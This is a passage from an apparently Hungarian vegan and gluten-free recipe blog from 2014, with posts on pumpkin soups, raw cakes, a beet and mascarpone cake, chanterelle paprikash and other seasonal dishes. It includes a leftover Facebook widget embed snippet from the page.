tudhatjuk, mi került bele. Zsályás sütőtök pástétom: - 4-5 szelet sült sütőtök - 1 kisebb fej vöröshagyma - 1 gerezd fokhagyma - 1 ek. olívaolaj vagy kókuszolaj - 1 tk. dijoni mustár - 5 dkg tökmag - 4-5 friss zsályalevél - só, bors ízlés szerint ------------------------------------------------------------------------------------------------------------------------------------------------- A vöröshagymát és a fokhagymát víz és olívaolaj elegyén megpároljuk. A tökmagot teflon serpenyőben szárazon megpirítjuk, majd egy késes aprítóba durvára vágjuk. A párolt hagymát, a sült tökök belsejét. a mustárt és a fűszereket is a robotgépbe öntjük és rusztikus állagúra turmixoljuk. Pirított kenyéren tálaljuk. Morzsolhatunk a tetejére feta sajtot és meglocsolhatjuk tökmagolajjal is. Friss salátát mindig fogyasszunk melléje. Tiszta üvegbe töltve néhány napig hűtőszekrényben eláll. A tökös krémleveseknek számtalan fajtája ismert. Klasszikus franciás fűszerkombó a só, fehérbors, szerecsendió tejszínnel. Ha édesre vesszük a figurát, akkor fahéjat, szegfűszeget, vaníliát és kardamomot használjunk ízlés szerint. Személyes kedvencem az indiai fűszerezésű változat amibe a gyömbér, koriander és kurkumán túl a chili fokozza a fűtőértéket és a vöröslencse teszi még táplálóbbá. fotó: Takács Andrea Indiai sütőtök krémleves: - kisebb kanadai sütőtök ( 1-1.5 kg ) - közepes fej vöröshagyma - 10 dkg vöröslencse - 2 ek. olívaolaj vagy kókuszolaj - 2-3 cm-es friss gyömbér reszelve - 1 kk. őrölt koriander - 1 kk. kurkuma - chili ízlés szerint - 1 dl kókuszkrém vagy 3 dl kókusztej - 1 ek. vegamix - só ízlés szerint - tálaláskor pirított tökmag vagy friss koriander levél ---------------------------------------------------------------------------------------------------------------------------------------------------- A sütőtököt lehéjazzuk és kivájjuk a magját, majd kockákra vágjuk, a hagymát is felaprítjuk. A vöröslencsét megmossuk ( áztatni nem kell ). Egy nagyobb lábosba feltesszük a zsiradékot és a hagymát üvegesre pároljuk. Ráreszeljük a gyömbért és állandó keverés mellett tovább pirítjuk. Jöhetnek a porfűszerek sorjában: koriander, kurkuma és ízlés szerinti chili. Két perc pirítás után ráöntjük a kockára vágott tököt és a megmosott vöröslencsét, majd annyi vizet öntünk rá, ami ellepi. Beleszórjuk a sót és a vegamixet a főzővízbe. Kb. 15-20 percig főzzük, míg a tök és a lencse megpuhul. Ezután tölcséres turmixszal vagy botmixerrel krémesítjük és a kókusztejjel felforraljuk mégegyszer. Egy száraz serpenyőben megpirítjuk a tökmagot. Ezzel vagy frissen vágott koriander levéllel tálaljuk. Igaz a kerti partik ideje lassan lejár, de az őszi-téli időszakban is grillezhetünk zöldségeket a konyhai sütőben. A következő recept lehet akár a krémlevesünk feltétje, de ha készítünk hozzá köretet, mártást, könnyed vacsoraként vagy főétel gyanánt is megállja helyét. 10-15 darab fűszeres zöldség saslik hozzávalói: - 3-4 szelet nyers sütőtök - 1 kisebb karalábé - 1 közepes sárgarépa - 1 kápia paprika - 5 dkg zöldbab Páclé: - 0.5 dl olívaolaj - 1 ek. mustár - 1 ek. szójaszósz - 2-3 gerezd fokhagyma - citrombors, só, opcionálisan őrölt koriander és római kömény --------------------------------------------------------------------------------------------------------------------------------------------------- Az sütőtök és karalábé kerek szeleteit vágjuk cikkelyekre. ( Megjegyzés: a sütőtököt 1,5 cm, míg a karalábét 1 cm vastagra szeljük fel, mert nem egyformán puhulnak ). A répát vékony karikákra, a kápia paprikát kisebb kockákra, míg a zöldbabot 3-4 cm-es darabokra aprítsuk. A darabolás mondhatnám gyerekjáték, a zöldségek saslik pálcikára való felszúrása azonban férfi munka. Itt az ideje bevonni párunkat az ételkészítésbe. A pácot összekeverjük, ecset segítségével bekenjük, majd egy sütőpapírral bélelt tepsibe sorakoztassuk. 200 fokon süssük addig, míg a zöldségek megpuhulnak. Még 10 perc grill funkció és már tálalhatjuk is.
Őszibarackos tortácska
A napokban olvastam a neten ezt a receptet, és szerencsére volt még itthon 1 őszibarackom ;) Nagyon fini lett! Hozzávalók az alsó réteghez : 2 ek dió 2 ek mandula 6 szem datolya 1 tk. vanília por pici Himaláya só Robotgépben összeaprítjuk ;) A krémhez: 1 ek kesudió 1 őszibarack 1 kk. kókuszolaj 3-4 szem […]
Pomelós holdacskák (vegán, kevert süti)
Néhány hónappal ezelőtt készítettem el ezt a sütit, s pár hete már itt pihent vázlatként bejegyzéseim között, így most már tényleg ideje a köz számára is megosztanom. Nagyon egyszerű kevert sütiről van szó. Az aszalt pomelót Budapesten több helyen is be lehet szerezni, a nagyobb vásárcsarnokokban. Magában is finom, a kevert sütit pedig egyenesen feldobja.
A recept:
Hozzávalók:
- 1/2 bögre gabonatejpor
- 2 evőkanál olaj
- 1 bögre víz
- 1 csapott teáskanálnyi szódabikarbóna
- liszt, amennyi hasonló állagúvá teszi, mint a piskótamassza, de nem túl folyós (fele arányban teljes kiőrlésű és fehér liszt)
- ízlés szerint nyírfacukor vagy gyümölcscukor vagy kókuszvirág cukor
- 10 dkg aszalt pomelo
- kakaó vagy karobpor (opcionális)
- sütőpapír
Elkészítés:
A gabonatejport felöntjük a vízzel, elkeverjük. Hozzáadjuk az olajat, majd a lisztet, a szódabikarbónát. A tésztát elfelezzük, felébe kakaót vagy karobport szórunk, szintén elkeverjük. A pomelókat kisebb darabokra felaprítjuk. Sütőpapíros tepsibe először az egyik majd a másik tésztát öntjük. A tésztát késsel kicsit megkeverhetjük, akkor márványos lesz, de meghagyhatjuk úgy is, hogy az alsó réteg barna a felső világos színű tészta. Egyenletesen ráhelyezzük a pomeló-darabokat, majd sütőben készre sütjük.
Bazsalikomos saláta
Hozzávalók: 5-6 db nagyobb leves édes paradicsom 4 db vastaghúsú paprika 1 kis fej lilahagyma 8-10 olivabogyó 1 ág friss bazsalikom 1 ek hidegen sajtolt napraforgó olaj 1 tk gyümölcscukor / sztívia / xilit 1/2 tk só A paradicsomokat és a paprikákat lemossuk, az utóbbiakat kicsumázzuk, majd mindet felaprítjuk. A lila hagymával hasonlóan járunk el. A bazsalikom leveleit letépkedjük, apróra szakítjuk, és a saláta többi összetevőjéhez adjuk. Az olivabogyókat is belekarikázzuk. Mindezt megszórjuk kevés cukorral, sóval, összekeverjük, és a végén meglocsoljuk olajjal. Rövid ideig hagyjuk az ízeket összeérni. Ha kissé tartalmasabbá szeretnénk tenni, belevághatunk uborkát, és süthetünk hozzá kevés kókuszsírban bevagdosott szójavirslit, teljes őrlésű tésztával kínálhatjuk. Adhatunk hozzá pirított tofukockákat kissé befűszerezve, vagy aki nem vegán feta sajttal keverheti.
Mazsolás kalács
Kell a mazsola a kalácsba, anélkül az egész kalácsnak nincs olyan íze. (Aki nem szereti, azután piszkálja ki.) Olyan régen csináltam, talán több éve is, most meg a harmadik sült 3 hét alatt. Egyik sem a hagyományos változat volt. Többnyire valamelyik szokásos összetevő hiányzott, így kénytelen voltam variálni. Ennek ellenére mind finom volt, puha, lágy. Hozzávalók: 60 dkg liszt (40 dkg teljes őrlésű, 20 dkg fehér) 360 ml zabtej 2 ek kókuszzsír 3 ek méz 2 marék mazsola 1 tk só 2 dkg élesztő A száraz hozzávalókat összekeverjük, azokat átmorzsoljuk a zsiradékkal. Közben 1dl langyos tejbe beletesszük a mézet, belemorzsoljuk az élesztőt, és hagyjuk dolgozni. Mikor szép habos, a többi folyadékkal együtt megy a lisztes keverékbe. Alaposan megdagasztjuk, míg finom egyenletesen puha, rugalmas tésztát nem kapunk. Formázzuk, zsírpapírral kibélelt sütőedénybe tesszük, és 40-50 percet hagyjuk kelni. Mikor szép formásra kelt, meleg sütőbe helyezzük, közepes hőfokon / kb 180 C / 1 órát sütjük, míg szép piros nem lesz a teteje. Miután nem volt egyik nap növényi tej a kamránkban, csak rizstejszín, az került a kalácsba. Készítés közben valami dőlt, borult, vagy csak épp a fiatalember pakolászott az asztalon, vagy mindkettő, nem is tudom, de kimaradt a zsiradék is. Ennek ellenére nagyon finom, lágy kalács lett. És mivel a mazsolát az elején beleborítottam a kenyérsütő gép edényébe, a sok dagasztástól a mazsolaszemek szétmállottak, így a tésztának kellemes zamatot adtak ugyan, ellenben senkit nem zavart, hogy benne van. A folyadék mennyiséget visszavettem olyan 280 ml-re, de pontosan nem tudom. Ha túl ragacsos lenne a tészta, pici lisztet kell még utána önteni. Biztos, hogy máskor is fogom így készíteni.
Őszi nyers torta
2014. szeptember 11. Szelíd életmódváltók
Nyers süti az a műfaj, amibe teljesen szerelmes vagyok. Na jó, bevallom, imádom krémes édességeket. Erre kerestem egy olyan alternatívát, ami egészséges, finom és krémes egyszerre. Találtam. Elég sokat kísérleteztem az állaggal. Első próbálkozásaim ízre finomak voltak ugyan, de mind csakis kanállal ehetőek. Ismerős?
Az őszi tortának az inspirációt ez a torta adta, de ősrégi szokásomhoz híven, abból főzök, ami itthon van.
Hozzávalók:
alap
őrölt lenmag
kókuszreszelék
3-4 aszalt szilva (fügével együtt pár órára beáztatni)
2-3 aszalt füge
————————–
krém
egy maréknyi szilva
2 nagyobb alma
egy maréknyi áztatott kesudió (kókuszkrém lehet helyette, krémessé tesz)
1 banán (elhagyható)
frissen facsart citromlé ízlés szerint
méz vagy agavé szirup
1 ek. folyékony kókuszolaj
1-1/2 ek. utifű maghéj
Elkészítés: Nyers sütiknél az egyik alapdolog a sorrend. Először aszalt szilvát aszalt fügével és kis áztatóvízzel turmixoljuk össze. Ennek pikáns savanykás íze lesz, lehet mézzel vagy más édesítőszerrel édesíteni. A kész masszát öntsük bele egy tálba és keverjük bele kókuszreszeléket és lenmagörleményt, annyit, hogy viszonylag szilárd massza legyen. Az arányok ízlésre bízzuk. A masszát egy csatos tortaforma alján nyomkodjuk bele. Ha nincs csatos tortaforma, legyünk kreatívak, sütőpapírral kibélelt egyenesfalú tál is megteszi.
A krém összes alkatrészét, kivéve kókuszolajat és utifű maghéjat, rakjuk bele turmixgépbe és turmixoljuk krémmé, a végén rakjuk bele két zselésító-szilárdító alkatrészét is. Most csak annyi van hátra, hogy a krémet kenjuk rá a tortaalapra és tegyünk be pár órára, vagy még jobb, egész éjszakára (így a torta élettartama legalább látszólag hosszabb lesz) a hűtőbe.
Szeretettel és akcentussal,
Rita Bakradze
(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = //connect.facebook.net/hu_HU/all.js#xfbml=1;
fjs.parentNode.insertBefore(js, fjs);
}(document, script, facebook-jssdk));
Rókagomba paprikás puliszkával
2014. szeptember 9. Fittanyuka
Rókagomba igazi ínyencség. Erdélyben vadon terem és úton-útfélen árulják a “szedők”, nyár derekától egészen ősz végéig. Kimondottan erdélyi fogás a gombapaprikás puliszkával vagyis főtt kukoricadarával. Friss gombából készítettem, természetesen ha nincsen kéznél utcai rókagomba – árus akkor bármelyik kedvenc gombafajtánk megteszi. A gomba nem a könnyen emészthető ételek csoportjába tartozik, de a megfelelő társításokkal, fűszerekkel segíthetjük ezt a folyamatot. Az emésztést segítő fűszerekhez tartozik a magyar konyha jellegzetes fűszerei, mint például az őrölt kömény, édesnemes pirospaprika. Én még csempénsztem bele egy kevés őrölt kardamont, amely szintén puffadásgátló, emésztést segítő, erjedésgátló. A kukoricadara könnyen emészthető, gluténmentes köret. Hozzávalók 4 főre: 500-600 g rókagomba 2-3 kk himalaya só 200 ml kókusztejszín 2 evőkanál kukoricadara 1 evőkanál kókuszolaj késhegynyi őrölt kömény 1 kk édesnemes pirospaprika 1 cikk fokhagyma 1 fej vöröshagyma 2,5 dl bögre kukoricadara A vöröshagymát apróra vágjuk és a kókusz olajon megdinszteljük, majd a megtisztított, leforázott gombát, szűrés után a hagymára “dobjuk” és együtt pároljuk. 5 perc után hozzáadjuk a fűszereket, a kókusztejszínt elkeverjük csomómentesen a keményítővel, 1-2 dl vízzel és hozzáöntjük a gombához. Állandó keverés mellett besűrítjük és utófűszerezzük ha szükséges, belepréseljük a fokhagymát. A kukoricadarát négyszeres mennyiségű vízben, 2 kk sóval, állandó keverés mellett puhára főzzük. Tipp: a darát lobogó vízbe tesszük. Majdnem olyan gyorsan elkészül, mint ahogyan leírtam:). Ideális fogás ebédre a rohanó hétköznapokban.
Gyerekek kedvence csokipuding
2014. szeptember 9. Zöld múzsa
Nem tolong a család a céklás sütiért a vasárnapi asztal körül? Sebaj. Itt egy jolly joker recept, amivel egész biztos, hogy mindenkit le lehet venni a lábáról. Krémes, gyümölcsös, csokis egyszerre és a készen kapható poroknál sokkalta egészségesebb. Barackos tápióka zselé csokipudinggal: Csokipuding hozzávalói: - 2 dl kókuszkrém ( cocomas márkájú ) - 4- 5 dl víz - 2 ek. kukoricakeményítő - 2 ek. zabpehelyliszt - 4 ek. jó minőségű kakaó - 10 dkg jó minőségű étcsokoládé - 1 tk. bourbon vanília őrlemény - csipet só - édesítés ízlés szerint ( méz vagy növényi szirupok ) Barackos tápióka zselé hozzávalói: - 3-4 érett barack - fél citrom leve - 5 dkg tápiókagyöngy - édesítés ízlés szerint ( méz vagy növényi szirupok ) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Egy lábosba beletesszük az összes szilárd összetevőt, majd a kókuszkrém felével csomómentesre keverjük. Ezután öntjük hozzá a kókuszkrém másik felét és a vizet. Lassú lángon kevergetve csomómentes pudingot fűzünk belőle. Miután kész, beletördeljük a tábla csokit is és kavarunk rajta párat, hogy elolvadjon. A tápiókagyöngyöt 10-15 percre beáztatjuk hideg vízben, majd leszűrjük róla a vizet. A barackot apró darabokra vágjuk, ráöntjük a fél citrom levét és lassú lángon elkezdjük főzni. Hozzáadjuk a beáztatott tápiókát és addig főzzük vele, míg a gyöngyök átlátszóvá nem válnak. Ha úgy érezzük, hogy a barack nem elég leveses, akkor főzés közben egy pici vizet adagolhatunk hozzá. Miután kész kihűtjük a csokis és a barackos krémünket, majd édesítjük mézzel vagy más alternatív édesítő sziruppal. Fontos szabály, hogy főzött krémekbe, lekvárokba, szószokba a mézet soha ne hevítsük, mert értékes hatóanyagokat vesztünk el a főzés során. Üvegpoharakban tálaljuk, alulra a barackos zselé, föléje pedig a házi csokipuding kerül. Tetejét kókuszkrémmel díszítjük. Megjegyzés: a recept más gyümölcsökkel is működik, például a most érő mézédes körtével, amit egy pici gyömbérrel bolondíthatunk meg.
Bíborban bársonyban
2014. szeptember 8. Zöld múzsa
Éljen a gasztro forradalom. A stílusok összemosódnak, a népek sajátos fűszerei keverednek, teljes a bábeli zűrzavar a konyha területén (is). Már fel sem kapjuk a fejünket, mikor zöldség kerül a süteményünkbe... követeljük a répatortát, istenítjük a sütőtökös muffint, a céklatorta sem a legújabb trend (torz)szülöttje. Ahány ember annyi igény: gluténmentes, tojásmentes, laktózmentes, mindenmentes, nyers. Egy cseppet sem bánom, hogy éppen ebben a forrongó kulináris világkorszakban kaptam hívást konyhai műveletekre, amikor a nagyanyáink receptes könyvét a spontán rafinéria váltja fel, megbolondítva ezzel az élet ízét. "- Mért változtat meg egy kétszáz éves receptet? - Mert kétszáz év talán éppen elég volt neki." Fordulni látszik a világ. Míg régebben apáról fiúra szállt a tudás, a lányok pedig az anyjuk/nagyanyjuktól tanultak főzni, ma nem ritka eset, mikor a piacon vásárlás közben elbeszélgetek az egyébként friss és zamatos földízű céklát árusító nénikkel és kiderül, a főtt ecetes cékla salátán kívül nincsenek más recept birtokában. Felhívás keringőre, hogy akcióba lendüljek és elmeséljem nekik legutóbbi kedvenc céklás kísérletemet. Cékla nyersen? Cékla sütve? Mindezek hallatára a szomszéd árusok is odasereglenek... változnak a dolgok, benne mi és a cékla helyzete is. Ebben a glutén-és tojásmentes tortában kiéltem minden bíbor hóbortomat. A céklát a mascarponéval tettem lággyá és krémessé, az ősz hangulatát pedig a pirított dióval fokoztam. Került cékla a "piskótába" is, aminek nyomán egyéb édesítésre szinte alig volt szükség. A sült cékla ugyanis olyan koncentrált édes ízvilággal bír, amit mindenképpen érdemes kipróbálni Egy másik érv, ami a torta mellett szól, hihetetlen gyorsan elkészül. Jahhh vagy nincs otthon sült cékla a hűtőben? Ez nagy hiba...orvosolandó. Mascarponés-cékla torta ( 18 cm átmérő ): Tészta hozzávalói: - 20 dkg héjában sült cékla - 4 dkg kölesliszt - 3 dkg barna rizsliszt - 8 dkg zabpehelyliszt - 2 ek. kókuszzsír - 10-12 db áztatott datolya - 1 tk. szódabikarbóna - 1 ek. citromlé - ízlés szerint szegfűszeg, kardamom és fahéj Mascarponés krém hozzávalói: - 25 dkg mascarpone - 2-3 ek. méz ( vagy bármilyen növényi édesítő szirup ) - 1 citrom leve - 1 tk. bourbon vanília - kb. 10 dkg héjában sült cékla A konyhai művelet ott kezdődik, hogy a piacról hazaérkező céklákat megmossuk és alufóliába becsomagolva 200 fokon kb. 60-70 percig sütjük. Nyilván nem érdemes egy cékláért elindítani a sütőt, több cékla megsütése ajánlott egyszerre, amiket a következő napokban különféle céklás ételekhez fel lehet majd használni. Kezdjük a tészta összekeverésével a torta készítést. Keverőtálba öntjük a szilárd összetevőket: lisztek, szódabikarbóna és a fűszerek ízlés szerint. A sült céklát a kókuszzsírral és a beáztatott datolyával egy késes aprítóba tesszük. Nem kell túl simára keverni, maradhatnak benne kisebb datolya és cékla darabok. Ezután a lisztes keverékhez öntjük a céklás masszát, plusz a citrom kifacsart levét. Egy 18 cm átmérőjű tortaformába kanalazzuk, elsimítjuk és 175 fokon 25-30 percig sütjük. Míg a tészta sül, addig elkészíthetjük a mascarponés krémet. A hozzávalókat krémesre turmixoljuk, majd a kihűlt torta tetejét rusztikusan megkenjük vele. Díszítésre használhatunk mascarpone nélküli cékla pürét, valamint pirított mézes diót. Megjegyzés: a torta nagyon egyszerű módon vegán ( tiszta növényi táplálkozás ) receptté alakítható. Ebben az esetben a méz helyett növényi szirup ajánlott ( agavé-, rizs-, juharszirup ), a mascarpone helyett pedig 25 dkg beáztatott kesudiót turmixoljunk össze kb. fél dl vízzel és 2-3 ek. kókuszzsírral.
Levendulás almatorta gluténmentesen
2014. szeptember 6. Gréta konyhája
Zuhogott az eső egész nap, ezért nem tehettem mást, mint kimentem a konyhába, ránéztem a meseszép csokor levendulára az ablakban, a roskadozó tál almára az asztalon, és közben eszembe jutott, hogy sütit kellene csinálni, és pont vettem egy doboz gluténmentes lisztkeveréket, amit még nem próbáltam, és azonnal összeállt a kép! Karamellás almatortát fogok sütni levendulával. Tökéletes lett, és a fotózásra már a nap is kisütött! Hozzávalók: 15dkg gluténmentes sütikeverék nádcukorral (amennyiben nincsen benne, 15 dkg liszkeverékhez adjunk 10 dkg nádcukrot) 6 db kisebb gála alma 8 ek kókuszolaj, vagy olvasztott biomargarin 1-1/2 dl rizstej 1 dl növényi tejszín 2 ek nádcukor 1 tk fahéj 1 szál morzsolt levendulalevél kisebb kapcsos tortaforma 1.Az almákat meghámoztam, és szeletekre vágtam. 2. A sütikeveréket összedolgoztam 5 ek kókuszolajjal, és a tejjel. 3. Kiraktam almával a tortaforma alját, ráborítottam a masszát, egyenletesen eloszlattam, majd 175 fokon 25-30 perc alatt megsütöttem, kivettem hűlni. 4. Miután kihűlt, megfordítottam, és visszakapcsoltam az oldalát. 5. Mialatt az alap hűlt, elkészítettem a karamellás tejszínes almakrémet. 6. 3 ek kókuszolajban megkaramellizáltam a cukrot, beledobtam a maradék almaszeleteket, hozzáadtam a levendulát és a fahéjat, és megpároltam az almákat, a legvégén hozzáadtam a tejszínt, addig forraltam, míg nagyon sűrű lett, hagytam kihűlni. 7. A Kihűlt almakrémet a torta tetejére kanalaztam és egy órára hűtőbe tettem. Jó étvágyat!
Tojásmentes mogyorós zabkeksz
2014. augusztus 31. Éltető ételek
Egyre inkább törekszem arra, hogy gluténmentes és vegán ételeket készítsek. Végülis nincs gluténérzékenységünk, de jobb kerülni. Ugyanakkor egy gluténmentes ételekben a kötőanyag minden esetben tojás. Ebben meg ez a bibi, hogy így meg a napi tojásfogyasztás szökik az egekbe. A gluténmentes sütikre jellemző a morzsálódás, nos, ezt is sikerült elkerülnöm. Ez a recept igazán ropogós, nem pereg szét a kézben, egyben marad. És nem utolsó sorban nagyon finom. Lehet baracklekvárral, vagy avokádós csokikrémmel is tölteni, de a nagylányom kedvence a nutellával való töltés. A konjak liszttel most ismerkedem, mely tulajdonsága, hogy nagyon jól sűrít és zselésít. A süti morzsálódása ellen is nagy segítségemre volt. Hozzávalók: - 10 dkg apró szemű zabpehely - 10 dkg zabliszt - 10 dkg teff vagy rizsliszt - 10 dkg mogyoróliszt - 10 dkg durvára tört, pirított mogyoró - 10 dkg kókuszvirág cukor vagy méz - csipet só - 1 evőkanál útifűmaghéj - 1 teáskanál konjak liszt - 1 teáskanál szódabikarbóna - 1 mokkáskanál vanília - 10 dkg kókuszzsír (vagy bio vaj) - kevés növényi tej (pl. mandula, rizs) Elkészítés: - A száraz összetevőket kellőképpen elvegyítjük, majd hozzáadjuk a puha vajat. - Annyi tejet adunk hozzá, hogy kellően összeálljon, - Pihentessük a tésztát addig, míg a sütőt előmelegítjük úgy 170 fokra. - Nyújtsuk ki minél vékonyabbra a tésztát (egy picit pereg a mogyoró és zabpehely darabok miatt), majd szaggassuk ki. - Süssük ki 170 fokon kb. 15-20 percig. - Hagyjuk teljesen kihűlni, ezalatt szépen megkeményedik a keksz.
Vegán paradicsomos-kókusztejes sárgarépa krémleves
2014. augusztus 27. Zizi kalandjai
Sárgarépa krémlevesek közül ez a kedvencem. Hínyenc néhány éves receptje, de az egész család megszerette, amikor megfőztem nekik. Aztán szünet következett a répalevesek terén. Most újra rám talált a répaleves szerelem a Green Kitchen jóvoltából. Végtelenül egyszerű, pár alapanyag kell hozzá és laktató, kiadós, sűrű, krémes leves melengeti a torkunkat, a testünket, a lelkünket ezeken az őszi augusztusi napokon! Bár a leves gyönyörű színe lehet, hogy meghozza a jó időt… az előrejelzés szerint hétvégén már 26 fok lesz!
A napokban megint puffogva könyveltem el, hogy az idén nyáron szinte alig ettem sárgabarackot, talán kétszer-háromszor!!! Epret viszonylag többet ettem, ribizlit, szedret, görögdinnyét alig, málnát, sárgadinnyét kicsit többet. Őszibarackból és nektarinból igyekszem pótolni a lemaradást (úgyis ez a kedvenc nyári gyümölcsöm) és apukámnak hála, el vagyunk látva még finom, szaftos, édes nektarinokkal. Szederből is pótolok, ez még szerencsére jelen van a piacokon, na és persze elmaradhatatlan az áfonya. Van még szilva és szőlő, aztán vége!
Kicsit igazságtalan a természet, mert van kb. 3-4 hónapunk a 8-10 féle gyümölcsre, aztán több mint fél évig csak almát és körtét tudunk enni unásig! Álmodozva nézem februárban az ausztrál gasztroblogokat, amelyek öntik magukból a nyári gyümölcsös édességeket… Nem csoda, hogy április végén már egy jó, szaftos őszibarackra vágyom?!
Szóval kapjatok elő néhány szál répát, egy kis paradicsomot, vöröshagymát, fokhagymát, főzzétek meg a hozzávalókat, pürésítsetek és már tálalhatjátok is a finom levest. Egy minimális változtatást eszközöltem csak a recepten… adtam hozzá kakukkfüvet. Nagyon jót tett neki. Mi Józsi féle 100% rozskenyérrel ettük, de a Green Kitchen receptje alapján tálalhatjátok kukorica ceviche-vel is.
Vegán paradicsomos-kókusztejes sárgarépa krémleves
Hozzávalók:
- 10 közepes méretű répa (kb. 1 kg), meghámozva, felszeltelve
- 5 db paradicsom, felkockázva
- 1 fej vöröshagyma, felaprítva
- 2-4 gerezd fokhagyma, felaprítva
- 250 ml kókusztej (vagy más növényi tej)
- 1 teáskanál kurkuma
- 2-3 ág friss kakukkfű levelei
- 2 evőkanál extra szűz olívaolaj
- só, bors
Egy lábasban dinszteljük meg az olívaolajon a vöröshagymát és a fokhagymát, adjuk hozzá a kurkumát és főzzük néhány percig, amíg illatos lesz. Ekkor adjuk hozzá a répát, a paradicsomot, kevergessük néhány percig, majd öntsük fel annyi vízzel, amennyi ellepi (kb. 1-1,5 liter). Sózzuk, borsozzuk, adjuk hozzá a kakukkfüvet és főzzük közepes lángon, amíg a répa megpuhul.
Botmixerrel pürésítsük, amíg sima állagú lesz. Öntsük hozzá a kókusztejet, forraljunk rajta még egyet és tálalhatjuk is.
Sárgarépás lencseleves
2014. augusztus 23. Éltető ételek
Szereted a sárgarépa levest? Nos, ha igen, akkor ez is ízleni fog. Kellemesen édes és tápláló is. Gyorsan elkészül, akár vacsorára is tökéletes. Hozzávalók (4 főre): - 35 dkg sárgarépa - 15 dkg vöröslencse - 1 zellerszár - 1 kisebb vöröshagyma - 2 gerezd fokhagyma - 1/2 evőkanál kókuszolaj - 1 kávéskanál ételízesítő - só, bors - díszítés: petrezselyem és pirított magok Elkészítés: Először is megtisztítjuk a répát, és kis kockára vágjuk. A hagymát vékonyra felszeleteljük, és kókuszolajon megdinszteljük. Belereszeljük a fokhagymát is.Hozzáadjuk a felkockázott sárgarépát és a zellerszárat. Együtt pirítjuk, úgy 5 percig. Közben folyamatosan keverjük. - Hozzáadjuk az átmosott lencsét, és felöntjük vízzel. Fűszerezzük. - Már nincs más dolgunk, mint megfőzzük, majd turmixoljuk. - Díszítsük pirított magokkal és petrezselyemzölddel.
Őszibarackos pohárkrém
Még az őszibarack szezon elején készült, de újra el fogom készíteni, mert finomság! :) A kanál zenei tábor után két nappal nagyon ideillő. Főleg, ha eszembe jut néhány poén, amiket gyakorlás közben gyártott a tisztelt banda. Pl.: - Honnan játsszuk tovább? - A violinkulcstól! - Jött az elmés válasz, meg a röhögés. Főleg a Suite-et gyakorolva, hiszen abban nekünk legalább 30 volt. Igaz, a basszusnak meg egy sem, ők meg azért nevettek. A zenei valahogy mindig a szívem csücske, akár mi is történik, akármennyire is nehéz a darab, fújom szét a számat, vagy épp nem értek egyet mindenben az előadással, felemelő tud lenni. Bár most kevesebb előadáson vettem részt a kicsi miatt, mert este akkor volt az alvásidő pl., de feltölti az embert, illetve noszogtatja, amit hallott. A másik az, hogy az egyébként döcögős darabok, amikről azt hiszed az elején, hogy az életben nem állnak össze, egyszer csak mégis előadhatók lesznek, megszólalnak, sőt néhol egészen kifejezőek. Azokról nem is szólva, amelyekben esetleg nem zenél az ember, csak meghallgatja, és a lelkéig hatol. Mint például a Cesare Frank féle 150. zsoltár... Majd máskor még írok erről, most viszont késő van, és az őszibarackos pohárkrém is várja, hogy előtérbe kerüljön. Ez sem nagy recept, inkább ötletadó. Hozzávalók: (kb. 4 adag) 1/2 bögre köles 2 bögre víz 1 csipet só vanília 2 ek gyümölcscukor, vagy 15-20 csepp sztívia 6-8 őszibarack 2-3 ek kókuszreszelék / darált mandula 1 ek méz A kölest az összes hozzávalóval kb. 20 perc alatt megfőzzük. Várunk kicsit, hogy hűljön. Az őszibarackokat megtisztítjuk, szeleteljük, majd a mézzel együtt és a kókuszreszelékkel/mandulával botmixerezzük. Poharakba töltjük, a tetejére szórhatunk még kókuszreszeléket, vagy mandulát. Candidások a kölest édesítsék kicsit több sztíviával, és a mézet hagyják ki, illetve inkább mandulát használjanak. Babások 1 éves korig a mézet kerüljék, inkább használjanak gyümölcscukrot egy picit.
Szilvafagyi, otthon, 4 összetevőből!
2014. augusztus 19. Gréta konyhája
Hozzávalók: 2 bögre magozott negyedelt szilva (4 órán át mélyhűtőben tartva) 1 szeletelt fagyott banán 2 ek agavé szirup 1 doboz kókuszkrém, vagy sűrű kókusztej (egy éjszakán át hűtőben tartva) A hozzávalókat egy erős turmixgépbe tesszük, vagy ahogy én most, csigás présgépbe helyeztem, a gyümölcsöket beledobáltam a fenti lyukon, és kész fagyit kaptam. A masszát összeturmixoltam még egyszer a kókuszkrémmel és az agavé sziruppal, mélyhűtőbe helyeztem 3 órára, félóránként egy spatulával átkevergettem. Egyszerű, és nagyszerű, kedvünk szerint bármilyen gyümölccsel variálható. Jó étvágyat!
Szezon
2014. augusztus 14. Zöld múzsa
Nem merem azt írni, hogy nyári szezon, mert nem érzem a nyarat. Furcsa fátyolfelhős égre ébredek hosszú napok óta reggelente, hasamra sütő, mosolyt csalogató napsugarak helyett. Extrán párás a levegő, a futás sem esik olyan jól. Délután egy kis szerencsével lehet találkozni direktbe jövő napfénnyel. Mintha a paradicsom mindebből semmit sem érzékelne, de legalábbis beéri a felhők mögüli kacsintgatással és pirosodik mindannyiunk örömére. Idén egy nagyon kedves barátnőm, Klári rámgondolásából lett pár bokor különlegesebb paradicsomom is, mint a "black cherry", ami egy apróbb fajta és beérve nagyon szép sötétbarna színű, valamint a "gold nugget", ami szintén aprócska de szép aranysárga színű, zamatos pari. Érőben még egy azonosítatlan fajta. Úgy tudom sok mag, amit kaptam tőle ebből a webáruházból valók és megbízható fajták. Kaptam még lila sárgarépa, csíkos cékla, mángold és lila bazsalikom magokat, most csak azokat soroltam, amikből ehető termés is kerekedett ;-) A paprika és a padlizsán palánták a gyors földből való kibújás után és a több átültetés ellenére sem találták meg nálunk a jó táptalajt, de jövőre ismét megújult erővel kezdek a kertészkedésbe, talán egy kicsit időben előbb kezdve a magok földbe ültetését nagyobb esélyt adva nekik a kibontakozáshoz. Nagyon érdekes egyébként látni, hogy a kertésztől vásárolt paradicsom palántáink mennyivel erősebb és hatalmasabb növények, ontják az édes-piros gyümölcsöt, de éppen ennek ellenére rém büszke vagyok a sokkal gyengébbecske, magam által nevelgetett bokrok hozamára. Pár üvegbe zártam már a nyár ízéből: bazsalikomos-chilis paradicsomlekvárt készítettem, Kaldenekker recept alapján , mert ehhez írt a legkevesebb cukrot ( 2 kg-hoz 10-15 dkg-ot ), abból is a legbarnábbikat használtam. Nektek meg hoztam egy lecsós kölessel töltött padlizsán receptet, hogy maradjunk a szezonalitásnál. Lecsós kölessel töltött padlizsán: - 2 kicsi padlizsán - 10 dkg köles ( háromszoros mennyiségű sós vízbe megfőzve ) - 2 ek. kókuszzsír - 1 ek. olívaolaj - 1 közepes fej lilahagyma - 